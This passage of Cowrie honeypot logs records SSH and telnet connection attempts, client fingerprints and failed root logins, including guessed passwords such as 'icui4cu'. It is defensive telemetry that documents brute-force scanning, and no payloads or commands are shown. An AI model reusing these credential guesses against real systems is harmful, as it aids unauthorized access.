failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:02.226988Z","src_ip":"51.75.149.221","session":"2ba411323016","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:02.327980Z","src_ip":"51.75.149.221","session":"2ba411323016","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.28.37.194","src_port":40514,"dst_ip":"10.17.0.5","dst_port":22,"session":"05373382ce27","protocol":"ssh","message":"New connection: 185.28.37.194:40514 (10.17.0.5:22) [session: 05373382ce27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:09.557259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:09.562768Z","src_ip":"185.28.37.194","session":"05373382ce27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:09.648665Z","src_ip":"185.28.37.194","session":"05373382ce27","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:7c:a5:47:65:93:be:13:6c:25:52:c5:0e:7e:11:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCe+PRNov9DHOjhNv79jKHMSElmIYNoPsvq1C5D7pdhw8HkVPf9eKg5lDGKk+IoyMuJ0XI4rQPTu2fUlLipIspiLJccLJgvcfKV4fxfuU2fN+h9IEvUBQpY8PPvBfItxt1F5jUgvNNqKQguf5k7aT/pjj7/MvM0yTQBB76cYQnCNgUnr69jHl4TIpNNCtEyBTaRrNgKbn6dYPdjh+mLxFapCIOZvzmNLpk01JoaP6yd6NFiK/HhBGZhRckRkSSC34i+98FY7S4w6TECaDffxru7lM0pyJ0edo6Heku9ajKza429IGJuRNXrGz1QxYIj+d9FdOURW08+lfUGcVFPVUl3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b6:7c:a5:47:65:93:be:13:6c:25:52:c5:0e:7e:11:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:10.039895Z","src_ip":"185.28.37.194","session":"05373382ce27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:7c:a5:47:65:93:be:13:6c:25:52:c5:0e:7e:11:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCe+PRNov9DHOjhNv79jKHMSElmIYNoPsvq1C5D7pdhw8HkVPf9eKg5lDGKk+IoyMuJ0XI4rQPTu2fUlLipIspiLJccLJgvcfKV4fxfuU2fN+h9IEvUBQpY8PPvBfItxt1F5jUgvNNqKQguf5k7aT/pjj7/MvM0yTQBB76cYQnCNgUnr69jHl4TIpNNCtEyBTaRrNgKbn6dYPdjh+mLxFapCIOZvzmNLpk01JoaP6yd6NFiK/HhBGZhRckRkSSC34i+98FY7S4w6TECaDffxru7lM0pyJ0edo6Heku9ajKza429IGJuRNXrGz1QxYIj+d9FdOURW08+lfUGcVFPVUl3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:10.044677Z","src_ip":"185.28.37.194","session":"05373382ce27","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:b2:ff:0b:f7:14:6b:d0:5a:dd:b1:bc:b7:82:69:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC47+dIAgQr2mt0iiZ3LFE0S85CyzLGlZOAkdsf5YMkQ91gHtl7CViUZxhEor8M/2FrNqBsWL8TEuHPfEZj2wgH/4Wf2HkF5oydj7+R+dj5u6L3smiYVA0V4fNij696Bjs3NyVgqCgLQ9djrQf13fNAln7EqxWAG8v9Um1cOdN8NEWwstKqqW8zup4CCdWMO/9zHw9yyNkmDAsJnU3n/erX9ZYtCwfJ5J03/JWf+qz0Kt5T4AoKAg3ZaLTp2368Q7lv1zVKmjqKGaaY1GF6gwNPESkNyIG4DY++SJyWS9A9Dh08mI0SG5yDds5IsE0n1Nq9rm0O6FWdfpd61wutRQc9pXKyXC8OBjRtgsjIolnXQ3QM01PTD+SaK2hfml/GeHsxdXrOKv3CvL6E8OBvd0JHrXBia6D9DaGcXTZzOHHkDKnvcnV7bsF0dCBPZ0Y3gL/qIJxA3BDPGjLlh8HQqve02pBTJVTAsha9cHVmx1/RQOeuVdcIjDnivOaVx02jMpDQlwFspSTYXWfOumqmYQH6o4nmtHNNhIJGQSp4ITaUyt/iBz9Im4su7Bbzhut8oq/541rCGgtlUHHyIxnlD8WzVNyAaxKXaspRj3A3zJc79qOiR1PBFudijsWzAzJ/+/pBix8EjTM69VL8SAyneUVFN+/tN2ANYmnu4kCUihd5aQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:b2:ff:0b:f7:14:6b:d0:5a:dd:b1:bc:b7:82:69:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:10.131455Z","src_ip":"185.28.37.194","session":"05373382ce27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:b2:ff:0b:f7:14:6b:d0:5a:dd:b1:bc:b7:82:69:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC47+dIAgQr2mt0iiZ3LFE0S85CyzLGlZOAkdsf5YMkQ91gHtl7CViUZxhEor8M/2FrNqBsWL8TEuHPfEZj2wgH/4Wf2HkF5oydj7+R+dj5u6L3smiYVA0V4fNij696Bjs3NyVgqCgLQ9djrQf13fNAln7EqxWAG8v9Um1cOdN8NEWwstKqqW8zup4CCdWMO/9zHw9yyNkmDAsJnU3n/erX9ZYtCwfJ5J03/JWf+qz0Kt5T4AoKAg3ZaLTp2368Q7lv1zVKmjqKGaaY1GF6gwNPESkNyIG4DY++SJyWS9A9Dh08mI0SG5yDds5IsE0n1Nq9rm0O6FWdfpd61wutRQc9pXKyXC8OBjRtgsjIolnXQ3QM01PTD+SaK2hfml/GeHsxdXrOKv3CvL6E8OBvd0JHrXBia6D9DaGcXTZzOHHkDKnvcnV7bsF0dCBPZ0Y3gL/qIJxA3BDPGjLlh8HQqve02pBTJVTAsha9cHVmx1/RQOeuVdcIjDnivOaVx02jMpDQlwFspSTYXWfOumqmYQH6o4nmtHNNhIJGQSp4ITaUyt/iBz9Im4su7Bbzhut8oq/541rCGgtlUHHyIxnlD8WzVNyAaxKXaspRj3A3zJc79qOiR1PBFudijsWzAzJ/+/pBix8EjTM69VL8SAyneUVFN+/tN2ANYmnu4kCUihd5aQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:10.136043Z","src_ip":"185.28.37.194","session":"05373382ce27","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7c:97:9a:a2:f9:b6:30:83:ed:2a:70:13:a3:fe:2a:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqZKdIoTrde3gTcdI4r0tqmV3yKTC0CHXIixj68v5UorigROcHoiz9hMondS3/LwWzrMLJk/5fnS+YJxD7T/ajr9XlUe/1rWLIYEbm7zFpC8/epSYQFJSkseh0g7C/etVUXVRVqxWdKhtPeazXLH0IwbBzX2nzZyjIz8NLfE32wDuruMCaj8pGPvXLbkIphzjPwoKg0RX/rZ6Ni4r5hgqGFJujyPM6kLfb+CPTZB55mTe7P0dS4q/6jxalmkODf1Eh7GFOompUGpmMJwS/qKQwQMGJbRJZ7PIPxJsYFlISNybaQNy7011UZ1A+55JjcpoeiBWt77Qv97RjoeF83OIODWb1QcdNI7ziP5tsYXrfL8QXkWHDbQ1i7Kwq41fiW+qmiI0P4sWgbYukuJ4lAA0Q8tJnWlSZDH6bQKSPeZ7O4Td7NH8u7tNyojiKVXukslNDwH5Z1VKEJJ6+gxHRkSIOqDMusuNFgDKeJyVzLYN0cZT6ndj97tZw5llc+7+ANAZX2wHC5RV2nonAGeaRxj1MAh35nVRTm8tsRehvVgqZR5QlJ+0HcZxuLlZU8Eb+N4ipVoEosQ1YcYp3sS6y9uQBgJWQ16ZduU+P7AxhYs8XRzFvdO3KP3m0sHm9f5a/Za1oLtGH9Xt1BoVddS/R2KIyCeKiAQVYaBL4oW147jo20Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7c:97:9a:a2:f9:b6:30:83:ed:2a:70:13:a3:fe:2a:cc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:10.220186Z","src_ip":"185.28.37.194","session":"05373382ce27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7c:97:9a:a2:f9:b6:30:83:ed:2a:70:13:a3:fe:2a:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqZKdIoTrde3gTcdI4r0tqmV3yKTC0CHXIixj68v5UorigROcHoiz9hMondS3/LwWzrMLJk/5fnS+YJxD7T/ajr9XlUe/1rWLIYEbm7zFpC8/epSYQFJSkseh0g7C/etVUXVRVqxWdKhtPeazXLH0IwbBzX2nzZyjIz8NLfE32wDuruMCaj8pGPvXLbkIphzjPwoKg0RX/rZ6Ni4r5hgqGFJujyPM6kLfb+CPTZB55mTe7P0dS4q/6jxalmkODf1Eh7GFOompUGpmMJwS/qKQwQMGJbRJZ7PIPxJsYFlISNybaQNy7011UZ1A+55JjcpoeiBWt77Qv97RjoeF83OIODWb1QcdNI7ziP5tsYXrfL8QXkWHDbQ1i7Kwq41fiW+qmiI0P4sWgbYukuJ4lAA0Q8tJnWlSZDH6bQKSPeZ7O4Td7NH8u7tNyojiKVXukslNDwH5Z1VKEJJ6+gxHRkSIOqDMusuNFgDKeJyVzLYN0cZT6ndj97tZw5llc+7+ANAZX2wHC5RV2nonAGeaRxj1MAh35nVRTm8tsRehvVgqZR5QlJ+0HcZxuLlZU8Eb+N4ipVoEosQ1YcYp3sS6y9uQBgJWQ16ZduU+P7AxhYs8XRzFvdO3KP3m0sHm9f5a/Za1oLtGH9Xt1BoVddS/R2KIyCeKiAQVYaBL4oW147jo20Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:10.224671Z","src_ip":"185.28.37.194","session":"05373382ce27","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:89:73:f5:b6:35:d5:3f:ba:46:38:a8:a5:a2:f5:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGuKjMroi6SK/HVWfdvaPwWCC9FGvrmkxkQKRff4DALIY6S80OGNYRpzyljFakgeOkx55ZfsY2/D4012NhRw+JZMJeMXH+lVclhd2Ot+7MRBeuSwqhpjNmTaSk/FiN8QRGnL80r+AqcPEEZCivWZ+nEyrHvTRGwG7DJY4GzL8153XDKoUhmDU4UIhyq3ySHFTyoBdT3jgpdqekhG6c8DygB0UsJEBzk1bkfvPwKTnGl95I8l8xGxVv83sWMGRAlOcp4fKGBVX5KQJ554OQ8g9969+Yn+gyNeNdaJiG2bKptRLP+wOmBX7JwfcLkCNpvKD2GSAAPF9cOPcwfiWjp83E2gySy/d4ZOTSXlDf9vKBxiLgTfEHIjNTj4PIvg9YA6G5A12XTc+rFvd5VLUwoN/QXJOFIDLo8+ydiKonJkxyc5a2fV6izQp8BYpNCAUs7KLoy5P8pih8Pax+CsiTrDaNSYM394Z5RtLUKXOmB2QKkLW00ZHAbzy477wHMxjapTbAsjZfKZHT4jxU4cTDCbS2aPiFijaI/Z+h1mE3/IeTpb7NFIJaE3FnrENm1jmMHkv+llizDl52nA70vyS3s1PjmWsfOxOhbBRUBJQd8TNyIddbvdir5YJ0lKJCp8MG/lsypouDntZL/v5mTgsT8N363jK6yjDQlggm78S7PbTSWQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:89:73:f5:b6:35:d5:3f:ba:46:38:a8:a5:a2:f5:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:10.308744Z","src_ip":"185.28.37.194","session":"05373382ce27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:89:73:f5:b6:35:d5:3f:ba:46:38:a8:a5:a2:f5:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGuKjMroi6SK/HVWfdvaPwWCC9FGvrmkxkQKRff4DALIY6S80OGNYRpzyljFakgeOkx55ZfsY2/D4012NhRw+JZMJeMXH+lVclhd2Ot+7MRBeuSwqhpjNmTaSk/FiN8QRGnL80r+AqcPEEZCivWZ+nEyrHvTRGwG7DJY4GzL8153XDKoUhmDU4UIhyq3ySHFTyoBdT3jgpdqekhG6c8DygB0UsJEBzk1bkfvPwKTnGl95I8l8xGxVv83sWMGRAlOcp4fKGBVX5KQJ554OQ8g9969+Yn+gyNeNdaJiG2bKptRLP+wOmBX7JwfcLkCNpvKD2GSAAPF9cOPcwfiWjp83E2gySy/d4ZOTSXlDf9vKBxiLgTfEHIjNTj4PIvg9YA6G5A12XTc+rFvd5VLUwoN/QXJOFIDLo8+ydiKonJkxyc5a2fV6izQp8BYpNCAUs7KLoy5P8pih8Pax+CsiTrDaNSYM394Z5RtLUKXOmB2QKkLW00ZHAbzy477wHMxjapTbAsjZfKZHT4jxU4cTDCbS2aPiFijaI/Z+h1mE3/IeTpb7NFIJaE3FnrENm1jmMHkv+llizDl52nA70vyS3s1PjmWsfOxOhbBRUBJQd8TNyIddbvdir5YJ0lKJCp8MG/lsypouDntZL/v5mTgsT8N363jK6yjDQlggm78S7PbTSWQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:10.312728Z","src_ip":"185.28.37.194","session":"05373382ce27","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:95:3e:81:46:0a:d6:3f:38:38:cf:6c:28:a2:a5:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEG9bw35OFbYuInIV1OiQhYNJPakwvKkP5yiKLAnVqChwQFyKnXbw7MrX3iQtdv/q6LT0YMc4CNlRgALfsa+dyDDzdg0VZzXLjqPqQvI2rUvDGeHBJmhQwNeFjlIAvKsP95f/RAVFQF5cf2CmQWd+qxj3D8DyUeb0nK4zLJRfqnpSvL3GPmv2Haf8RjEjuNjkVZfZctKzcW2oWBi3aqD/Uo31I9vidKxJn4GKYCXY6PNyrIIyzHaot/LFbBcbyocXCvH0z1tjWHfhTg0dOjo6Gfk6EmTMNlqa3Sd6WWzAPMJbWjGylArmZDkPgasCzBxrGzb5N5BgNH3VxO0bzqFzIwy9MjwOUd5KF87iehf0h7fIG91OErLRSuQLObP3HXhtNHV01djWaUM3XGDYVhISHezVAHIpBOEzoNc1U4d59COUfMrVJRduShwpU7mbYttuNsGpQKWYWrb/d+xE/xwR3Pi9KnKwn5Ly4mMjegp0fOB2bWh+gGZSlvOKlGY7UXw6jpOIc3fqXgbm4wXSeIDlI0vR5ogycTRJTSwcw2A2XQQoP4NCkBdaOHltXILeYATJ0cnAYNaGPyzSg+RtsbDhY56CYSinepi44X8D59lWD7SqcqozyfcGMtIXOSvSVR4TbfyeG5SEJJfHVvN0XrTbB31Tx2AmAIIGnBlbRlauCLw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9b:95:3e:81:46:0a:d6:3f:38:38:cf:6c:28:a2:a5:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:10.395848Z","src_ip":"185.28.37.194","session":"05373382ce27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:95:3e:81:46:0a:d6:3f:38:38:cf:6c:28:a2:a5:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEG9bw35OFbYuInIV1OiQhYNJPakwvKkP5yiKLAnVqChwQFyKnXbw7MrX3iQtdv/q6LT0YMc4CNlRgALfsa+dyDDzdg0VZzXLjqPqQvI2rUvDGeHBJmhQwNeFjlIAvKsP95f/RAVFQF5cf2CmQWd+qxj3D8DyUeb0nK4zLJRfqnpSvL3GPmv2Haf8RjEjuNjkVZfZctKzcW2oWBi3aqD/Uo31I9vidKxJn4GKYCXY6PNyrIIyzHaot/LFbBcbyocXCvH0z1tjWHfhTg0dOjo6Gfk6EmTMNlqa3Sd6WWzAPMJbWjGylArmZDkPgasCzBxrGzb5N5BgNH3VxO0bzqFzIwy9MjwOUd5KF87iehf0h7fIG91OErLRSuQLObP3HXhtNHV01djWaUM3XGDYVhISHezVAHIpBOEzoNc1U4d59COUfMrVJRduShwpU7mbYttuNsGpQKWYWrb/d+xE/xwR3Pi9KnKwn5Ly4mMjegp0fOB2bWh+gGZSlvOKlGY7UXw6jpOIc3fqXgbm4wXSeIDlI0vR5ogycTRJTSwcw2A2XQQoP4NCkBdaOHltXILeYATJ0cnAYNaGPyzSg+RtsbDhY56CYSinepi44X8D59lWD7SqcqozyfcGMtIXOSvSVR4TbfyeG5SEJJfHVvN0XrTbB31Tx2AmAIIGnBlbRlauCLw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:10.399297Z","src_ip":"185.28.37.194","session":"05373382ce27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:10.483403Z","src_ip":"185.28.37.194","session":"05373382ce27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.921109437942505,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:14.132274Z","src_ip":"210.86.3.187","session":"96b2bfb0a008","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.128","src_port":59942,"dst_ip":"10.17.0.5","dst_port":22,"session":"523dd8d60299","protocol":"ssh","message":"New connection: 165.154.205.128:59942 (10.17.0.5:22) [session: 523dd8d60299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:42.331539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:42.336078Z","src_ip":"165.154.205.128","session":"523dd8d60299","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:42.561824Z","src_ip":"165.154.205.128","session":"523dd8d60299","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"icui4cu","message":"login attempt [root/icui4cu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:43.497918Z","src_ip":"165.154.205.128","session":"523dd8d60299","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:44.726278Z","src_ip":"165.154.205.128","session":"523dd8d60299","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.128","src_port":38874,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fda7d4567ad","protocol":"ssh","message":"New connection: 165.154.205.128:38874 (10.17.0.5:22) [session: 9fda7d4567ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:07:44.771644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:07:44.776840Z","src_ip":"165.154.205.128","session":"9fda7d4567ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:07:45.013351Z","src_ip":"165.154.205.128","session":"9fda7d4567ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test9","message":"login attempt [test/test9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:07:45.991268Z","src_ip":"165.154.205.128","session":"9fda7d4567ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:07:47.230112Z","src_ip":"165.154.205.128","session":"9fda7d4567ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":39998,"dst_ip":"159.203.135.109","dst_port":23,"session":"04e00c0d22b6","protocol":"telnet","message":"New connection: 199.103.57.63:39998 (159.203.135.109:23) [session: 04e00c0d22b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:08:20.227039Z"}
{"eventid":"cowrie.session.connect","src_ip":"105.168.201.88","src_port":42368,"dst_ip":"159.203.135.109","dst_port":23,"session":"4282563f9993","protocol":"telnet","message":"New connection: 105.168.201.88:42368 (159.203.135.109:23) [session: 4282563f9993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:08:41.979262Z"}
